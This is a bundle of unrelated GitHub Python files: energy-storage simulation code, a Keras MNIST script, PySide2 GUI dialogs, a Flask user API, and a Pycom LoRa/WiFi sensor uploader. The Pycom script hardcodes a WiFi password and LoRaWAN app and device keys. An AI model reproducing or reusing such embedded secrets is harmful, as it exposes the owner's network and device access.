get_needs_loading(self):\n\n if self.current_temperature <= (\n self.target_temperature - self.hysteresis\n ):\n self.needs_loading = True\n\n if self.current_temperature >= (\n self.target_temperature + self.hysteresis\n ):\n self.needs_loading = False\n\n if self.current_temperature < self.min_temperature:\n raise ValueError(\n \"Thermal energy production to low to maintain \"\n + \"heat storage temperature!\"\n )\n\n return self.needs_loading\n\n def value_for_timestamp(self, timestamp):\n\n \"\"\"\n Info\n ----\n This function takes a timestamp as the parameter and returns the \n corresponding value for that timestamp. \n A positiv result represents a load. \n A negative result represents a generation. \n \n This abstract function needs to be implemented by child classes.\n Raises an error since this function needs to be implemented by child classes.\n \n Parameters\n ----------\n \n ...\n \t\n Attributes\n ----------\n \n ...\n \n Notes\n -----\n \n ...\n \n References\n ----------\n \n ...\n \n Returns\n -------\n \n ...\n \n \"\"\"\n\n raise NotImplementedError(\n \"value_for_timestamp needs to be implemented by child classes!\"\n )\n\n def observations_for_timestamp(self, timestamp):\n\n \"\"\"\n Info\n ----\n This function takes a timestamp as the parameter and returns a \n dictionary with key (String) value (Any) pairs. \n Depending on the type of component, different status parameters of the \n respective component can be queried. \n \n For example, a power store can report its \"State of Charge\".\n Returns an empty dictionary since this function needs to be \n implemented by child classes.\n \n Parameters\n ----------\n \n ...\n \t\n Attributes\n ----------\n \n ...\n \n Notes\n -----\n \n ...\n \n References\n ----------\n \n ...\n \n Returns\n -------\n \n ...\n \n \"\"\"\n\n return {}\n\n def prepare_time_series(self):\n\n \"\"\"\n Info\n ----\n This function is called to prepare the time series.\n Currently equals reset_time_series. Adjust if needed in later versions.\n \n Parameters\n ----------\n \n ...\n \t\n Attributes\n ----------\n \n ...\n \n Notes\n -----\n \n ...\n \n References\n ----------\n \n ...\n \n Returns\n -------\n \n ...\n \n \"\"\"\n\n self.timeseries = pd.DataFrame(\n columns=[\"temperature\"],\n index=pd.date_range(\n start=self.environment.start,\n end=self.environment.end,\n freq=self.environment.time_freq,\n name=\"time\",\n ),\n )\n return self.timeseries\n\n def reset_time_series(self):\n\n \"\"\"\n Info\n ----\n This function is called to reset the time series\n \n Parameters\n ----------\n \n ...\n \t\n Attributes\n ----------\n \n ...\n \n Notes\n -----\n \n ...\n \n References\n ----------\n \n ...\n \n Returns\n -------\n \n ...\n \n \"\"\"\n\n self.timeseries = pd.DataFrame(\n columns=[\"temperature\"],\n index=pd.date_range(\n start=self.environment.start,\n end=self.environment.end,\n freq=self.environment.time_freq,\n name=\"time\",\n ),\n )\n\n return self.timeseries\n","repo_name":"Pyosch/vpplib","sub_path":"vpplib/thermal_energy_storage.py","file_name":"thermal_energy_storage.py","file_ext":"py","file_size_in_byte":7985,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"79"} +{"seq_id":"37117246239","text":"'''\nhttps://keras.io/activations/\n'''\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom keras.datasets import mnist\nfrom keras.utils import np_utils\n\n(X_train0, y_train0), (X_test0, y_test0) = mnist.load_data()\nX_train = X_train0.reshape(60000, 784).astype('float32')/255.0\nX_test = X_test0.reshape(10000, 784).astype('float32')/255.0\nY_train = np_utils.to_categorical(y_train0, 10)\nY_test = np_utils.to_categorical(y_test0, 10)\n\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense\nfrom keras.optimizers import SGD\n\nnp.random.seed(0)\nmodel0 = Sequential()\nmodel0.add(Dense(15, input_dim=784, activation=\"sigmoid\"))\n#model0.add(Dense(15, input_dim=784, activation=\"tanh\"))\nmodel0.add(Dense(10, activation=\"sigmoid\"))\nmodel0.compile(optimizer=SGD(lr=0.2), loss='mean_squared_error', metrics=[\"accuracy\"])\n\n#%%time\nhist0 = model0.fit(X_train, Y_train, epochs=30, batch_size=100, validation_data=(X_test, Y_test), verbose=0)\n\nnp.random.seed(0)\nmodel1 = Sequential()\nmodel1.add(Dense(15, input_dim=784, activation=\"sigmoid\"))\nmodel1.add(Dense(10, activation=\"sigmoid\"))\n#model1.add(Dense(15, input_dim=784, activation=\"relu\"))\n#model1.add(Dense(10, activation=\"softmax\"))\nmodel1.compile(optimizer=SGD(lr=0.2), loss='categorical_crossentropy', metrics=[\"accuracy\"])\n#model1.compile(optimizer=SGD(lr=0.2), loss='binary_crossentropy', metrics=[\"accuracy\"])\n\n#%%time\nhist1 = model1.fit(X_train, Y_train, epochs=30, batch_size=100, validation_data=(X_test, Y_test), verbose=0)\n\nplt.plot(hist0.history['val_acc'], ls=\":\", label=\"mean squared error\")\nplt.plot(hist1.history['val_acc'], label=\"cross entropy\")\nplt.legend()\nplt.show()\n","repo_name":"cjsong21/Machine-learning","sub_path":"딥러닝/01.딥러닝모델예/ModelDL.py","file_name":"ModelDL.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"25704972253","text":"import logging\n\nfrom PySide2 import QtWidgets, QtGui, QtCore\nfrom pynput import mouse\n\nfrom auto_assistant.model import actions\n\nlogger = logging.getLogger(__name__)\n_SECONDS_IN_A_DAY = 86400\n\n\nclass AddActionDialog(QtWidgets.QDialog):\n def __init__(self):\n super().__init__()\n self.resize(300, 200)\n self.__result = None\n self.__my_layout = QtWidgets.QGridLayout()\n\n button_grid = QtWidgets.QGridLayout()\n self.__ok_button = QtWidgets.QPushButton('Ok')\n self.__cancel_button = QtWidgets.QPushButton('Cancel')\n button_grid.addWidget(self.__cancel_button, 0, 0)\n button_grid.addWidget(self.__ok_button, 0, 1)\n self.__ok_button.clicked.connect(self.accept)\n self.__cancel_button.clicked.connect(self.reject)\n\n pick_action_combo_box = QtWidgets.QComboBox()\n pick_action_combo_box.addItems([i.value for i in actions.ActionType])\n pick_action_combo_box.currentTextChanged.connect(self.__handle_action_type_change)\n\n # The default type of grid will be one for a ClickAction\n self.__input_grid = self.__generate_grid_layout_for_click_action()\n\n self.__my_layout.addWidget(pick_action_combo_box, 0, 0)\n self.__my_layout.addLayout(self.__input_grid, 1, 0)\n self.__my_layout.addLayout(button_grid, 2, 0)\n self.setLayout(self.__my_layout)\n\n def __clear_items_in(self, layout: QtWidgets.QLayout):\n while layout.count() > 0:\n item = layout.takeAt(0)\n if isinstance(item, QtWidgets.QLayout):\n self.__clear_items_in(item)\n else:\n logger.debug(f'Removing {type(item.widget())}')\n item.widget().deleteLater()\n logger.debug(f'Removing {type(layout)}')\n layout.deleteLater()\n\n def __handle_action_type_change(self, selected_action_type: str):\n logger.info(f'Generating UI for {selected_action_type}')\n if self.__input_grid is not None:\n self.__my_layout.removeItem(self.__input_grid)\n self.__clear_items_in(self.__input_grid)\n self.__input_grid = None\n logger.info('\\tOld UI removed')\n try:\n self.__input_grid = self.__generate_grid_layout_for(actions.ActionType(selected_action_type))\n self.__my_layout.addLayout(self.__input_grid, 1, 0)\n except RuntimeError:\n logger.error('Unable to generate the input grid', exc_info=True)\n\n def __generate_grid_layout_for(self, action_type: actions.ActionType) -> QtWidgets.QGridLayout:\n if actions.ActionType.CLICK_ACTION == action_type:\n return self.__generate_grid_layout_for_click_action()\n elif actions.ActionType.SLEEP_ACTION == action_type:\n return self.__generate_grid_layout_for_sleep_action()\n else:\n raise RuntimeError(f'Unsupported action type: {action_type}')\n\n def __generate_grid_layout_for_sleep_action(self) -> QtWidgets.QGridLayout:\n self.__ok_button.setEnabled(True)\n return_value = QtWidgets.QGridLayout()\n\n # create the label\n duration_label = QtWidgets.QLabel('Sleep for (secs): ')\n duration_label.setAlignment(QtCore.Qt.AlignRight | QtCore.Qt.AlignVCenter)\n return_value.addWidget(duration_label, 0, 0)\n\n # create the input for the time\n self.__sleep_text_line = QtWidgets.QLineEdit()\n self.__sleep_text_line.setPlaceholderText('Enter time in seconds')\n self.__sleep_text_line.setValidator(QtGui.QIntValidator(0, _SECONDS_IN_A_DAY))\n self.__sleep_text_line.editingFinished.connect(self.__handle_sleep_time_input)\n return_value.addWidget(self.__sleep_text_line, 0, 1)\n\n return return_value\n\n def __handle_sleep_time_input(self):\n self.__result = actions.SleepAction(int(self.__sleep_text_line.text()))\n\n def __generate_grid_layout_for_click_action(self) -> QtWidgets.QGridLayout:\n self.__ok_button.setEnabled(False)\n return_value = QtWidgets.QGridLayout()\n x_label = QtWidgets.QLabel('x: ')\n x_label.setAlignment(QtCore.Qt.AlignRight | QtCore.Qt.AlignVCenter)\n self.__x_value = QtWidgets.QLabel('1')\n y_label = QtWidgets.QLabel('y: ')\n y_label.setAlignment(QtCore.Qt.AlignRight | QtCore.Qt.AlignVCenter)\n self.__y_value = QtWidgets.QLabel('1')\n return_value.addWidget(x_label, 0, 0)\n return_value.addWidget(self.__x_value, 0, 1)\n return_value.addWidget(y_label, 0, 2)\n return_value.addWidget(self.__y_value, 0, 3)\n self.__get_click_button = QtWidgets.QPushButton('Get click')\n self.__get_click_button.clicked.connect(self.__get_click)\n self.__mouse_listener = mouse.Listener(on_click=self.__on_click)\n return_value.addWidget(self.__get_click_button, 1, 0, 1, -1)\n return return_value\n\n def __toggle_buttons_to(self, enabled: bool):\n self.__ok_button.setEnabled(enabled)\n self.__cancel_button.setEnabled(enabled)\n self.__get_click_button.setEnabled(enabled)\n\n def __get_click(self):\n self.__mouse_listener.start()\n self.__toggle_buttons_to(False)\n\n def __on_click(self, x: int, y: int, button: mouse.Button, pressed: bool) -> bool:\n logger.debug(f'Clicked at ({x}, {y}) with button {button} and pressed={pressed}')\n if pressed and button == mouse.Button.left:\n self.__x_value.setText(str(x))\n self.__y_value.setText(str(y))\n self.__toggle_buttons_to(True)\n\n # reset the mouse listener for next time\n self.__mouse_listener = mouse.Listener(on_click=self.__on_click)\n self.__result = actions.ClickAction(int(self.__x_value.text()), int(self.__y_value.text()))\n return False\n\n def get_result(self) -> actions.Action:\n return self.__result\n\n def accept(self):\n super().accept()\n\n def reject(self):\n super().reject()\n self.__result = None\n","repo_name":"NateJSchmidt/autoassistant","sub_path":"src/auto_assistant/view/add_action_dialog.py","file_name":"add_action_dialog.py","file_ext":"py","file_size_in_byte":5978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"38327902164","text":"from collections import deque\nfrom pprint import pprint\nn = int(input())\narr = [list(map(int, input().split())) for _ in range(n)]\nG = dict()\nfor i in range(n):\n G[i] = []\n for j in range(n):\n if arr[i][j] == 1:\n value = G[i]\n value.append(j)\n G[i] = value\n\nq = deque()\nfor i in range(len(G)):\n q.append(i)\n visit = [0] * len(G)\n while q:\n start = q.popleft()\n for w in G[start]:\n if visit[w]:\n continue\n visit[w] = 1\n arr[i][w] = 1\n q.append(w)\n\nfor i in range(n):\n print(*arr[i])\n\n# for m in range(len(G)): # 경유지 기준으로\n# for st in range(len(G)): # 시작점 다 돌려보고\n# for end in range(len(G)): # 도착점 다 돌려봤을 때\n# if arr[st][end] == 0: # 만약 시작점에서 도착점으로 가는 곳이 현재까지는 없는 경우\n# arr[st][end] = arr[st][m] & arr[m][end] # 가능하다면 갈 수 있다고 판단하여 배열 바꿔줌\n# print(arr)","repo_name":"swanious/Algorithm","sub_path":"BOJ/11403_경로찾기.py","file_name":"11403_경로찾기.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"} +{"seq_id":"71836524734","text":"from datetime import datetime\n\nfrom flask import request\nfrom flask_restful import Resource\n\nfrom config import db\nfrom models.user import User\nfrom schemas.user import UserSchema\nfrom utils import get_args_parser\n\nuser_schema = UserSchema(many=False)\nparser = get_args_parser([\n {'name': \"num_mark_tasks\", 'type': int, 'required': True,\n 'help': 'number of mark tasks the user has'},\n {'name': \"password\", 'type': str, 'required': False,\n 'help': 'unprocessed password of the user'},\n {'name': \"name\", 'type': str, 'required': True,\n 'help': 'name of the user'}\n])\n\n\nclass UserResource(Resource):\n \"\"\"Resource to handle CRUD operations for users table\"\"\"\n\n @staticmethod\n def get(user_id: int):\n \"\"\"\n Returns single user\n \"\"\"\n\n if not user_id:\n return {'status': 'failed', 'message': \"Empty ID field\"}, 404\n\n user = User.query.filter(User.user_id == user_id).one_or_none()\n if not user:\n return {'status': 'failed', 'message': \"User not found\"}, 404\n\n return {'data': user_schema.dump(user)}, 200\n\n @staticmethod\n def post(user_id: int):\n \"\"\"\n Creates new user\n \"\"\"\n\n request.get_json(force=True)\n data = parser.parse_args(strict=True)\n if not data:\n return {'status': 'failed', 'message': 'No input data provided'}, 204\n\n user = User.query.filter_by(user_id=user_id).one_or_none()\n if user:\n return {'status': 'failed', 'message': 'User already exists'}, 400\n\n data.update({'user_id': user_id, 'last_activity_ds': datetime.now(),\n 'registration_date': datetime.now()})\n user = User(**data)\n db.session.add(user)\n db.session.commit()\n\n result = user_schema.dump(user)\n\n return {\"status\": 'success', 'data': result}, 201\n\n @staticmethod\n def put(user_id: int):\n \"\"\"\n Updates the user\n Possible fields for update:\n 'num_mark_tasks': int,\n 'password': str,\n 'name': str,\n 'last_name': str\n \"\"\"\n\n request.get_json(force=True)\n data = parser.parse_args(strict=True)\n if not data:\n return {'status': 'failed', 'message': 'No input data provided'}, 204\n\n user = User.query.filter_by(user_id=user_id).first()\n if not user:\n return {'status': 'failed', 'message': 'User does not exist'}, 204\n\n for k, v in data.items():\n user.__setattr__(k, v)\n db.session.commit()\n\n result = user_schema.dump(user)\n return {\"status\": 'success', 'data': result}, 202\n\n @staticmethod\n def delete(user_id):\n \"\"\"\n Deletes single user\n \"\"\"\n\n user = User.query.filter_by(user_id=user_id).one_or_none()\n if not user:\n return {'status': 'failed',\n 'message': 'User does not exist'}, 204\n User.query.filter_by(user_id=user_id).delete()\n db.session.commit()\n\n result = user_schema.dump(user)\n return {\"status\": 'success', 'data': result}, 202\n","repo_name":"kirilllzaitsev/datamark-backend","sub_path":"backend/flaskr/res/UserRes.py","file_name":"UserRes.py","file_ext":"py","file_size_in_byte":3129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"27995752137","text":"#!/usr/bin/env python3\n\nimport buffer\n\nbuf = bytearray(6)\nbuffer.snprintf(buf, \"Hello world!\")\nprint(buf)\n\nsize = 256\npybuf = bytearray(size)\nfor i in range(size):\n pybuf[i] = i\n\nbuf = buffer.Buffer()\nbuf.put(2*size)\nbuffer.write2(pybuf, buf, size)\n\nfor i in range(2*size):\n print(f\"{i} : {hex(buf[i])}\")\n\n","repo_name":"savagesmc/swig_play","sub_path":"pybuffer/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"43870270734","text":"from PySide2.QtWidgets import QListWidget,QPushButton\r\nimport PySide2.QtCore\r\nfrom src import event_key, event_dispatcher\r\nimport copy\r\n\r\nclass CategoryApplyWindow:\r\n def __init__(self, window: QListWidget,clear_button: QPushButton):\r\n self.list_window = window\r\n self.current_filter = []\r\n self.clear_button = clear_button\r\n self.list_window.itemDoubleClicked.connect(self.delete)\r\n self.clear_button.clicked.connect(self.clear_button_pushed)\r\n\r\n def add(self, category: str):\r\n self.current_filter.append(category)\r\n self.list_window.addItem(category)\r\n\r\n def delete(self, category_item):\r\n category_text = category_item.text()\r\n self.current_filter.remove(category_text)\r\n remove_list = self.list_window.findItems(category_text, PySide2.QtCore.Qt.MatchFixedString)\r\n for item in remove_list:\r\n row = self.list_window.row(item)\r\n self.list_window.takeItem(row)\r\n # dispatch\r\n dispatch_data = copy.deepcopy(self.current_filter)\r\n event_dispatcher.emit_event(event_key.SEND_CATEGORY_FILTER, dispatch_data)\r\n event_dispatcher.emit_event(event_key.LOG_FILTERING, None)\r\n\r\n def clear(self):\r\n self.current_filter.clear()\r\n self.list_window.clear()\r\n\r\n def is_contain(self, category: str) -> bool:\r\n return True if category in self.current_filter else False\r\n\r\n # @Event\r\n def receive_add_filter_event(self, category):\r\n if not self.is_contain(category):\r\n self.add(category)\r\n # dispatch\r\n dispatch_data = copy.deepcopy(self.current_filter)\r\n event_dispatcher.emit_event(event_key.SEND_CATEGORY_FILTER, dispatch_data)\r\n event_dispatcher.emit_event(event_key.LOG_FILTERING, None)\r\n\r\n # @Slot\r\n def clear_button_pushed(self):\r\n self.clear()\r\n event_dispatcher.emit_event(event_key.SEND_CATEGORY_FILTER, [])\r\n event_dispatcher.emit_event(event_key.LOG_FILTERING, None)\r\n","repo_name":"TERABYTE0130/logViewer","sub_path":"src/category_apply_window.py","file_name":"category_apply_window.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"33548619678","text":"from network import LoRa\r\nimport socket\r\nimport time\r\nimport ubinascii\r\nfrom lora_help import connect_lora_socket\r\n\r\nimport pycom # \"pycom\" will be an error in your\r\n# IDE because it's not on your computer, but on\r\n# the device\r\nimport time\r\nimport machine\r\n\r\nfrom machine import ADC\r\nfrom machine import Pin\r\nfrom network import WLAN\r\nimport socket\r\n\r\n#LoRa\r\n#from network import LoRa\r\n#import binascii\r\n#print(binascii.hexlify(LoRa().mac()).upper())\r\n\r\npycom.heartbeat(False)\r\npycom.rgbled(0x0000FF) # blue\r\n#time.sleep(2) #sleep for 1 second\r\n\r\n##====== LoRa ======\r\n\r\n## Initialise LoRa in LORAWAN mode.\r\n## Please pick the region that matches where you are using the device:\r\n## Asia = LoRa.AS923\r\n## Australia = LoRa.AU915\r\n## Europe = LoRa.EU868\r\n## United States = LoRa.US915\r\nlora = LoRa(mode=LoRa.LORAWAN, region=LoRa.EU868)\r\n\r\n# create an OTAA authentication parameters, change them to the provided credentials\r\napp_eui = ubinascii.unhexlify('6081F9FF68E87979')\r\napp_key = ubinascii.unhexlify('B8078474D99CC4CCAEFE3B563AECB8E7')\r\n#uncomment to use LoRaWAN application provided dev_eui\r\ndev_eui = ubinascii.unhexlify('70B3D549957622C1')\r\n\r\n## Uncomment for US915 / AU915 & Pygate\r\n## for i in range(0,8):\r\n## lora.remove_channel(i)\r\n## for i in range(16,65):\r\n## lora.remove_channel(i)\r\n## for i in range(66,72):\r\n## lora.remove_channel(i)\r\n\r\n## join a network using OTAA (Over the Air Activation)\r\n##uncomment below to use LoRaWAN application provided dev_eui\r\n##lora.join(activation=LoRa.OTAA, auth=(app_eui, app_key), timeout=0)\r\n#lora.join(activation=LoRa.OTAA, auth=(dev_eui, app_eui, app_key), timeout=0)\r\n\r\n#pycom.rgbled(0xFF0000) # Red\r\n\r\n## wait until the module has joined the network\r\n#while not lora.has_joined():\r\n# time.sleep(2.5)\r\n# print('Not yet joined...')\r\n\r\n#print('Joined')\r\n#pycom.rgbled(0x00FF00) # Green\r\n\r\n## create a LoRa socket\r\n#s = socket.socket(socket.AF_LORA, socket.SOCK_RAW)\r\n\r\n## set the LoRaWAN data rate\r\n#s.setsockopt(socket.SOL_LORA, socket.SO_DR, 5)\r\n\r\n##====== End LoRa ======\r\n\r\n#====== WiFi ======\r\n\r\nwlan = WLAN(mode=WLAN.STA)\r\n\r\nwlan.connect(ssid='Stargate_IoT', auth=(WLAN.WPA2, 'TieFighter'))\r\n#wlan.connect(ssid='Martins iPhone', auth=(WLAN.WPA2, 'j1aqdr2q2heb9'))\r\n#while not wlan.isconnected():\r\n# print(\"WiFi not connected\")\r\n# time.sleep(2) #sleep for 2 seconds\r\n# machine.idle()\r\n\r\ntime.sleep(5) #sleep for 5 seconds\r\n\r\n#====== End WiFi ======\r\n\r\ndata = ''\r\nadc = ADC()\r\ntempsensor = adc.channel(pin='P15') # create an analog pin on P15\r\nbat_voltage = adc.channel(attn=ADC.ATTN_11DB, pin='P16')\r\n\r\nwhile True: #Forever loop\r\n\r\n vbat = bat_voltage.voltage()*2\r\n # note that the expansionboard 3 has a voltage divider of 1M / 1M to account for\r\n # 1M / 1M, ratio = 1:2\r\n\r\n millivolts = tempsensor.voltage() # Analog temperature measured in millivolts\r\n degC = (millivolts - 500.0) / 10.0 # Convert millivolts to celsius\r\n degF = ((degC * 9.0) / 5.0) + 32.0 # Convert celsius to fahrenheit\r\n\r\n print('battery voltage:', vbat, 'mV')\r\n print('temperature:', degC, ' C')\r\n\r\n if vbat >= 4420:\r\n pycom.rgbled(0x00FF00) # Green\r\n else:\r\n pycom.rgbled(0xFF0000) # Red\r\n\r\n if wlan.isconnected():\r\n\r\n print(\"WiFi connected\")\r\n time.sleep(5) #sleep for 5 seconds\r\n print(wlan.ifconfig())\r\n\r\n # setup socket for connection\r\n wifi_socket = socket.socket()\r\n #s = ssl.wrap_socket(s)\r\n host = 'dev.electra.se'\r\n addr = socket.getaddrinfo(host,80)[0][-1]\r\n wifi_socket.connect(addr)\r\n print('socket connected')\r\n\r\n data = '2,' + str(vbat) + ',' + str(degC) + ',' + '4'\r\n httpreq = 'POST /MessageHandler.ashx HTTP/1.1 \\r\\nHOST: '+ host + '\\r\\nContent-Length: ' + str(len(data)) + '\\r\\nConnection: keep-alive \\r\\n\\r\\n' + data\r\n print('http request: \\n', httpreq)\r\n wifi_socket.send(httpreq)\r\n rec_bytes = wifi_socket.recv(10000)\r\n print(rec_bytes)\r\n else:\r\n print(\"WiFi not connected\")\r\n\r\n # Try to join LoRa\r\n if not lora.has_joined():\r\n # join a network using OTAA (Over the Air Activation)\r\n #uncomment below to use LoRaWAN application provided dev_eui\r\n #lora.join(activation=LoRa.OTAA, auth=(app_eui, app_key), timeout=0)\r\n lora.join(activation=LoRa.OTAA, auth=(dev_eui, app_eui, app_key), timeout=0)\r\n\r\n # wait until the module has joined the network\r\n while not lora.has_joined():\r\n time.sleep(2.5)\r\n print('LoRa not yet joined...')\r\n\r\n # create a LoRa socket\r\n lora_socket = socket.socket(socket.AF_LORA, socket.SOCK_RAW)\r\n\r\n #else:\r\n #lora_socket = connect_lora_socket()\r\n\r\n print('LoRa joined')\r\n\r\n ## send some data\r\n data = '2,' + str(vbat) + ',' + str(degC) + ',' + '3'\r\n lora_socket.send(data)\r\n\r\n #time.sleep(600) #sleep for 10 minutes\r\n time.sleep(10) #sleep for 10 seconds\r\n","repo_name":"martinkvarmo/my_summerhouse_IOT_project","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"3181610332","text":"#!/usr/bin/env python3\n\n#_____________________________________________________________________________\n#\n# filter for changing the gender of pronouns in a plaintext\n#\n# Author: Samdney \n# D4A7 35E8 D47F 801F 2CF6 2BA7 927A FD3C DE47 E13B \n# License: See LICENSE for licensing information\n#_____________________________________________________________________________\n\"\"\"\n***\nGENDER SWITCHING\n***\nSwitching pronouns in a plaintext message of one gender, to the pronouns of the \nother gender.\n\n---\nThe problems of gender switching\n---\nAssumptions:\n1. The message is in English => English pronouns\n\tThis are: he, she, him, her, his, hers (6 single pronouns)\n2. We can have two possible cases:\n\t=> A random pattern (or something written by a person with terrible writing \n\tskills ;)\n\t=> A natural language text with established English grammar\n\n3. We have the following possible pronoun pairs:\n\the \t<=> she\t\tPersonal pronoun - subject\n\thim <=> her\t\tPersonal pronoun - object\n\this <=> her\t\tPossessive determine\n\this <=> hers\tPossessive pronoun\n\t(4 pairs)\n\n\tProblem:\tThis map is NOT injective!\n\tBecause:\ther -> him or his\n\t\t\t\this -> her or hers\n\t=> We have to find an additional helpful quality!\n\t\n\tFirst idea:\tWe look for the position within a sentence.\n\tProblem: An pronoun can be direct or indirect\n\t=> Idea not helpful\n\t\n\tSecond idea: Looking for a natural language parser which can\n\ttell me which kind of word it is (SUB=subject, OBJ=object, etc., ...)\n\t\n\t=> Solution is only so good like the natural language parser!\n\t=> I found this wrapper parser: \n\thttps://github.com/EducationalTestingService/python-zpar\t\t\t\t\n\"\"\"\n\nimport string\nimport sys\n\nclass gender_filter():\n\n\tdef __init__(self):\n\t\tself.msg_new\t= \" \"\n\n\tdef change_msg(self,filter_switch,msg):\n\t\tswitch = gender_filter()\n\t\tif filter_switch == 0:\n\t\t\t_msg_new = msg\n\t\telif filter_switch == 1:\n\t\t\t_msg_new = switch.simple_switch(msg)\n\t\telse:\n\t\t\t_msg_new = switch.lingu_switch(msg)\n\n\t\tself.msg_new = _msg_new\n\n\t# Switch one pronoun pair \n\tdef switch_one_pronoun_pair(self,pn1,pn2,msg):\n\t\t# Placeholder should be no \"real\" word\n\t\t# Something with lim -> 0 probability to appear in msg\n\t\ttmp = \"6m7Q6q16\"\n\n\t\tmsg1 \t= msg.replace(pn1,tmp)\n\t\tmsg2 \t= msg1.replace(pn2,pn1)\n\t\tmsg3\t= msg2.replace(tmp,pn2)\n\n\t\tmsg_switched = msg3\n\t\treturn msg_switched\n\n\t# Switch for all possible positions within a sentence and msg\n\tdef switch_one_pronoun_pair_allpos(self,pn1,pn2,msg):\n\t\tmyfilter = gender_filter()\n\t\t_msg_new = msg\n\n\t\t# Beginning and Middle\n\t\t_msg_new = myfilter.switch_one_pronoun_pair(\" \" + str(pn1) + \" \", \" \" + str(pn2) + \" \",_msg_new)\n\t\t_msg_new = myfilter.switch_one_pronoun_pair(\" \" + str(pn1) + \", \", \" \" + str(pn2) + \", \",_msg_new)\n\t\t_msg_new = myfilter.switch_one_pronoun_pair(\" \" + str(pn1) + \"'s \", \" \" + str(pn2) + \"'s \",_msg_new)\n\t\t\n\t\t# End\n\t\t_msg_new = myfilter.switch_one_pronoun_pair(\" \" + str(pn1) + \".\", \" \" + str(pn2) + \".\",_msg_new)\n\t\t_msg_new = myfilter.switch_one_pronoun_pair(\" \" + str(pn1) + \"!\", \" \" + str(pn2) + \"!\",_msg_new)\n\t\t_msg_new = myfilter.switch_one_pronoun_pair(\" \" + str(pn1) + \"?\", \" \" + str(pn2) + \"?\",_msg_new)\n\t\treturn _msg_new\n\t\t\n\n\t\"\"\"\n\t# SIMPLE_SWITCH\n\t\"\"\"\t\n\t# Idea: Simple find and replace.\n\t#\tStep1:\tSwitch he <=> she\n\t#\tStep2:\tSwitch him <=> her\n\t#\tStep3:\tSwitch his <=> her\n\t#\tStep4:\tSwitch his <=> hers\n\t# Comment: The pronoun parsing only works correct for an msg which follows \n\t# the established rules of English grammar. Absolutely not, for a random \n\t# pattern text\n\t# Comment: The input msg variable should contain the full message, at one. \n\t# If we do parsing for each single data of buffer_size, parsing will not \n\t# work if a pronoun is splited between two buffer packages. \n\t# E.g.: package1|package2 = msg = \"He and sh\"|\"e are good friends.\"\n\t# => Has to be fixed.\n\t# TODO: Result would be better, if we do switching not chronologically \n\t# (step1, step2, step3, step4). Instead we should have an additional look at\n\t# probability tables for the probability of the appereance of a single \n\t# pronoun in an English text. Then do the switching of the not-injective \n\t# pronoun pairs under consideration of this probabilities.\n\tdef simple_switch(self,msg):\n\t\t\n\t\t_msg_new = \" \"\n\t\tmyfilter = gender_filter()\n\t\n\t\t# Add an additional space character at the beginng of msg\n\t\t# Reason: Then you can clearly identify pronouns at the beginning of msg\n\t\t_msg_new = \" \" + str(msg)\n\t\n\t\t# Find and replace for different pronoun pairs\n\t\t# Find and replace for different notations: he, He, HE ...\n\t\t# Find and replace for different positions within a sentence\n\t\t\n\t\t#pronoun_pairs = {\"he\" : \"she\", \"him\":\"her\", \"his\":\"her\", \"his\":\"hers\"}\n\t\t\n\t\t# Switching of Step3 with Step4\n\t\tpronoun_pairs = {\"he\" : \"she\", \"him\":\"her\", \"his\":\"hers\", \"his\":\"her\"}\n\t\t\n\t\t# Example of the different results\n\t\t# Old: He, and SHE likes me so much. HELP him! \n\t\t# \tHis dog likes tea and eats with him cake. That's hers.\n\t\t# New: She, and HE likes me so much. HELP her! \n\t\t# \tHers dog likes tea and eats with her cake. That's his.\n\n\t\t# Old: He, and SHE likes me so much. HELP him! \n\t\t# \tHis dog likes tea and eats with him cake. That's hers.\n\t\t# New: She, and HE likes me so much. HELP his! \n\t\t# \tHer dog likes tea and eats with his cake. That's hers.\n\n # TODO If we have very long messages, we should add 'if cases' within \n\t\t# the loop, to not always run all 'find and replace' functions for each\n # pronoun pair. E.g. 'he' or 'she' aren't at the end of a senctence, if\n # the sentence follows english grammar rules, or? -> Saving of\n # computation time\n\t\tfor male in pronoun_pairs:\n\t\t\tpn1 = male\n\t\t\tpn2 = pronoun_pairs[male]\n\t\n\t\t\t# Lower\n\t\t\tpn1_lower = pn1.lower()\n\t\t\tpn2_lower = pn2.lower()\n\t\t\t_msg_new = myfilter.switch_one_pronoun_pair_allpos(pn1_lower,pn2_lower,_msg_new)\n\n\t\t\t# Upper\n\t\t\tpn1_upper = pn1.upper()\n\t\t\tpn2_upper = pn2.upper()\n\t\t\t_msg_new = myfilter.switch_one_pronoun_pair_allpos(pn1_upper,pn2_upper,_msg_new)\n\t\t\n\t\t\t# Titled\n\t\t\tpn1_titled = pn1.title()\n\t\t\tpn2_titled = pn2.title()\n\t\t\t_msg_new = myfilter.switch_one_pronoun_pair_allpos(pn1_titled,pn2_titled,_msg_new)\n\t\t\t\t\n\t\t# Remove the additional space character from the beginng of msg\n\t\tlen_msg = len(_msg_new)\n\t\t_msg_new = _msg_new[1:len_msg]\n\n\t\tself.msg_new = _msg_new\n\t\treturn _msg_new\n\n\t\"\"\"\n\t# LINGU_SWITCH\n\t\"\"\"\t\n\t# TODO: Not implemented until now\n\t# Idea: \n\t# - Send msg to natural language parser to determine the kind of word \n\t# \t(subject, object, ...).\n\t# - Search for all her and his and their result of the natural language \n\t# \tparsing\n\t# - Use this information to decide if we have: her => him or her => his, \n\t#\this => her or his => hers\n\t# - Change pronouns under consideration of this additional information\n\tdef lingu_switch(self,msg):\n\t\t_msg_new = \" \"\n\t\tself.msg_new = _msg_new\n\t\treturn 